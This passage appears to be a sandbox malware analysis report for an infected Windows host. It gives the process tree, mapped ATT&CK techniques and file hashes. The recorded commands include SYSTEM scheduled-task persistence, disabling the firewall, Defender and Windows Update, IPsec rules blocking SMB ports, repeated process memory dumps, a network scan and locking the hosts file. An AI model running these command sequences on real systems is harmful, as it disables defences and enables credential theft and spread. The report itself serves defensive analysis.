  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "hqqdukrbq" /ru system /tr "cmd /c C:\Windows\ime\wlifiji.exe"
  2⤵
  PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2512
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "hqqdukrbq" /ru system /tr "cmd /c C:\Windows\ime\wlifiji.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4588
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gihftdilj" /ru system /tr "cmd /c echo Y|cacls C:\Windows\yqqdgivv\wlifiji.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "gihftdilj" /ru system /tr "cmd /c echo Y|cacls C:\Windows\yqqdgivv\wlifiji.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4748
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "telinbtbg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\evfeutbbp\nfquyl.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2500
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "telinbtbg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\evfeutbbp\nfquyl.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1400
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3132
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1100
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4100
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2568
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2768
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2572
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:964
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1652
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3204
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3924
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2620
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:624
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:32
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2264
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:1320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4536
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4296
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4788
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:2408
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4748
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1120
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4440
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:3332
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:1436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1800
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4228
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:1344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2784
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1792
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4208
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:768
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3700
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  PID:1460
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3412
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 784 C:\Windows\TEMP\ysudwuiub\784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3032
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2528
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 316 C:\Windows\TEMP\ysudwuiub\316.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4448
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 1380 C:\Windows\TEMP\ysudwuiub\1380.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3516
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 2504 C:\Windows\TEMP\ysudwuiub\2504.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4296
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 2876 C:\Windows\TEMP\ysudwuiub\2876.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3324
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 3008 C:\Windows\TEMP\ysudwuiub\3008.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4624
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 408 C:\Windows\TEMP\ysudwuiub\408.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3172
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 3732 C:\Windows\TEMP\ysudwuiub\3732.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1120
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 3820 C:\Windows\TEMP\ysudwuiub\3820.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1460
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 3888 C:\Windows\TEMP\ysudwuiub\3888.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 3964 C:\Windows\TEMP\ysudwuiub\3964.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2808
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 3580 C:\Windows\TEMP\ysudwuiub\3580.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3660
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 4808 C:\Windows\TEMP\ysudwuiub\4808.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:404
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 4544 C:\Windows\TEMP\ysudwuiub\4544.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1384
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 4516 C:\Windows\TEMP\ysudwuiub\4516.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:552
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 764 C:\Windows\TEMP\ysudwuiub\764.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3944
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 4008 C:\Windows\TEMP\ysudwuiub\4008.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1328
- C:\Windows\TEMP\ysudwuiub\bteqliisl.exe
  C:\Windows\TEMP\ysudwuiub\bteqliisl.exe -accepteula -mp 1656 C:\Windows\TEMP\ysudwuiub\1656.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\ysudwuiub\tluvwvuph\scan.bat
  2⤵
  PID:2416
- - C:\Windows\ysudwuiub\tluvwvuph\kbebvutsd.exe
    kbebvutsd.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3476
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:3584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5144
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5180
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5224
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5220

C:\Windows\SysWOW64\qicmew.exe
C:\Windows\SysWOW64\qicmew.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2208

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\wlifiji.exe
1⤵
PID:2656
- C:\Windows\ime\wlifiji.exe
  C:\Windows\ime\wlifiji.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5064

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\evfeutbbp\nfquyl.exe /p everyone:F
1⤵
PID:3392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:464
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\evfeutbbp\nfquyl.exe /p everyone:F
  2⤵
  PID:4828

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\yqqdgivv\wlifiji.exe /p everyone:F
1⤵
PID:2124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1768
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\yqqdgivv\wlifiji.exe /p everyone:F
  2⤵
  PID:3840

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\wlifiji.exe
1⤵
PID:220
- C:\Windows\ime\wlifiji.exe
  C:\Windows\ime\wlifiji.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5732

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\evfeutbbp\nfquyl.exe /p everyone:F
1⤵
PID:5136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5764
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\evfeutbbp\nfquyl.exe /p everyone:F
  2⤵
  PID:5772

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\yqqdgivv\wlifiji.exe /p everyone:F
1⤵
PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5788
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\yqqdgivv\wlifiji.exe /p everyone:F
  2⤵
  PID:5800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\evfeutbbp\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\ysudwuiub\1380.dmp

Filesize
4.2MB

MD5
c92d95fdb0ed63c271164ae8de34382f

SHA1
06b7492c9cf9449fcd5051cda72d13a7258d0d5f

SHA256
544c39b2e76a48c96508721b36cd1d2fa07e5dbd2bf626d0fdf1a42ba44daf1a

SHA512
f2d55a735853070730f9ad24bbb09b62605b3f865140673e54a3745272bf19bb39249e6df515484f656ffcea59dc2f7874b60172e9666197d66602ceba6d077d

Download Submit
C:\Windows\TEMP\ysudwuiub\2504.dmp

Filesize
7.5MB

MD5
dc0c6d68ff4a7dfdac864fb2d570e911

SHA1
30df02cb91ab42a0ba0b82d2cd0c762ad781a038

SHA256
ee45bc4dedbe0ddddfa16413bd5b76921ae8ba656f413effe3d2d6f81ea65af6

SHA512
13acacb27152cf038b95f37b2dff9938f57a9cd7ae2351a2e40db65f3d63735d74a46750d66fdd3ecb28e3db107461ffc28d7577ff8c9d589b848a19cd6fbb82

Download Submit
C:\Windows\TEMP\ysudwuiub\2876.dmp

Filesize
3.7MB

MD5
c625dd3af84b24d5d4b3d785cc52d785

SHA1
14a66d430ef52a6d9e87c97657cbc0f58391ea93

SHA256
ae57cb2137586bab75c193b7c795f0b2082ba5c755f0459049e2f4d562abf1b5

SHA512
814efb6f09f36e9b1542d33829e0adf5d5f82a44f2406e78b735376290c631b7ad803d9705c55d23598cacb269eda6bd56c0bf3d51871fbcdcef0eac00637c5d

Download Submit
C:\Windows\TEMP\ysudwuiub\3008.dmp

Filesize
2.9MB

MD5
5b2ba5dd2728b028b821fd7b7a99540b

SHA1
6d12e1bb25c2cd59fe21020f84f2683d7c3e4afb

SHA256
ec68c018c5cfc94130ff1b142d3120655b36795b4f4130d92e2472f7c0ec8fab

SHA512
f2d455106cc0a2398e022d254f80b6a8a45932b6c49356d9a91a6da24529085b6f5d5a503981509489398b00789443e0ebc2f2beb14ab544a19c645e41c5294b

Download Submit
C:\Windows\TEMP\ysudwuiub\316.dmp

Filesize
33.5MB

MD5
2f863d42d3d38dea6d94629c785176f9

SHA1
5be0dbcccae8fe52f72a1bc32558b58100deac17

SHA256
d009d6392ce1338080f5e235081162215620b647b011a29047590192af3a87d3

SHA512
dc71ee8515f45acc9242617920e552a10f17c2f1ed8a3ec87a2dcb841cd3e80af857a11135f9968bfc5b0837973f14b3d3b32341be95d619a9aad99f154f50e5

Download Submit
C:\Windows\TEMP\ysudwuiub\3580.dmp

Filesize
1.2MB

MD5
a3570cca8b6f64ef81c5801207ece969

SHA1
8e2a7b8a8a2d963bc87101d2c9185bf465e162c6

SHA256
625b6f0e68ab871e4fc70d53802aabb4ec405d08e0ffea820d208b1fdf0d5d12

SHA512
c8e5cea00e54f363eb020038afe4eb65151471f4e9e1a1248a0e6547c914712d0801e4ce7936cfd187f5aeab75b469d2f7fb7a6e3ad3b905c64be87fa8d0640b

Download Submit
C:\Windows\TEMP\ysudwuiub\3732.dmp

Filesize
2.7MB

MD5
4c88382e707332a29704d7dcf997be94

SHA1
a633a62913355389393eed3b8645df69d9369419

SHA256
10be79cca0defb02e53af82b3ef2e818c17a37b8e2e3009181a7fd0ffac9da42

SHA512
6e02eea655443963e9b1fa0902c8796b0391d2ada403b1a17bc9cd11ba6792f17cd07e19814889b2746ea5d085a16ff6f39608797ba3c0001ccfc759df5535c2

Download Submit
C:\Windows\TEMP\ysudwuiub\3820.dmp

Filesize
20.8MB

MD5
80dbfb140265592d9537d83cdb1a8252

SHA1
506081897e1b666680174caff31d78d375444ec0

SHA256
b6dd0a0bab35e69c00c5ab47f08a609ed63f4f004c33b220fa9c085f53103d80

SHA512
bdef026df501e467d131338a7270cc9f9f440ef487e8969059ce23f7028d36069318138fc3b9a4c4c70455e4e24073020f1ecb8f27fe12345c097410e3e66da5

Download Submit
C:\Windows\TEMP\ysudwuiub\3888.dmp

Filesize
4.2MB

MD5
63ce87b32bf0699388862c0ff1a916ba

SHA1
e836239e604c013b513ac2c64419842e03687316

SHA256
d6519dbda9e2f97e8186d134c7f9afbc7e6780c1a48a68f05571f2d2f04d0b78

SHA512
b72e5ef6a6023c113cad6d290cd32ff8d1269e1ab18391ee40d43096669d3acb4aa122baef193a6000706539aa4af075b61e81561c4b09b674f6266109a4161c

Download Submit
C:\Windows\TEMP\ysudwuiub\3964.dmp

Filesize
45.6MB

MD5
84c8001b3a0a306385a2a7b2e04b8de8

SHA1
d7ad08609e46d8defcad872becfed82fc8cc12ad

SHA256
9037aca0232eb224f583b5dd185a4e9e6d827b620dacd947868cf77395024b47

SHA512
13d423afa20961d983adf37f6c84df762a50e94d33b1445bbc9dc3146e43ffe434a76bb83795e02f5847b7413e7d45bc2423b8cecf3cd3131b6cbebce8a3967a

Download Submit
C:\Windows\TEMP\ysudwuiub\408.dmp

Filesize
822KB

MD5
06b8e73ebe398781380faf10a1e10fd6

SHA1
5c38e78ba1a7868671be0741b835d07cf924bc91

SHA256
a3d633cc563e17bdf5d46cfbf9c92076ec32f8b33dbb55dccf2f9f61c743b27c

SHA512
9269b1f98032703ded3008ae08e727f80ab266d76bc79d91a2b99299edb0a47764f0a4fca95fdaabcf62f6b10fc863fef2accbc0c35545af5b9dea8145321004

Download Submit
C:\Windows\TEMP\ysudwuiub\4544.dmp

Filesize
8.4MB

MD5
12541b095d61c670f11fb18d99009772

SHA1
bea0688e3483ec2372b8c6841bcaa92fb1ad8b1f

SHA256
d371e2d7ec3ad64a470b94e36eec0d0a06e11c27d65152a9683ae9b4e368a44c

SHA512
1a3f2f3beda31c2e35738e791cbeba6abf07ce4b5c327f7213dbe639e01596662a4431987c4b832388f6c372b6c2bbc7cf16baf5d5888913b26b502d5f9b786b

Download Submit
C:\Windows\TEMP\ysudwuiub\4808.dmp

Filesize
25.9MB

MD5
b1314d95f0d46609d50cd11add20d100

SHA1
f2e9395bd3fd0aa4fbf652482273bb7f5cfbdcb4

SHA256
a20d6b55c34cf099ffd114cd270d6047d16057bda0b44f9e92c227ea86f46fe6

SHA512
3e0a39ee84564857d08109dfab0ad41d7c60928b07f01c1d39fa246219bc4d022cb65a8c8e29b1dc6c115bd3230280a3c425382961f295195d17267baae33a9d

Download Submit
C:\Windows\TEMP\ysudwuiub\784.dmp

Filesize
1019KB

MD5
6b863f43da985ef746d8c56444a50c0c

SHA1
baa131c61d5af7ed2bca541208fb39faef5274e1

SHA256
176fc289a63396cee092d275a496e67ccda4175d1651525c7ece28f84fd40fe2

SHA512
5762a28f2a3fd0e4b71b19514a7e0e1f31f1ac25422ba60ab0a6344fc69a623adb27a47e5e5e6511097c532c7118f15e90389f70bd0b74dae895c8cf8c1134f9

Download Submit
C:\Windows\Temp\evfeutbbp\nfquyl.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsmD812.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsmD812.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\Temp\ysudwuiub\bteqliisl.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
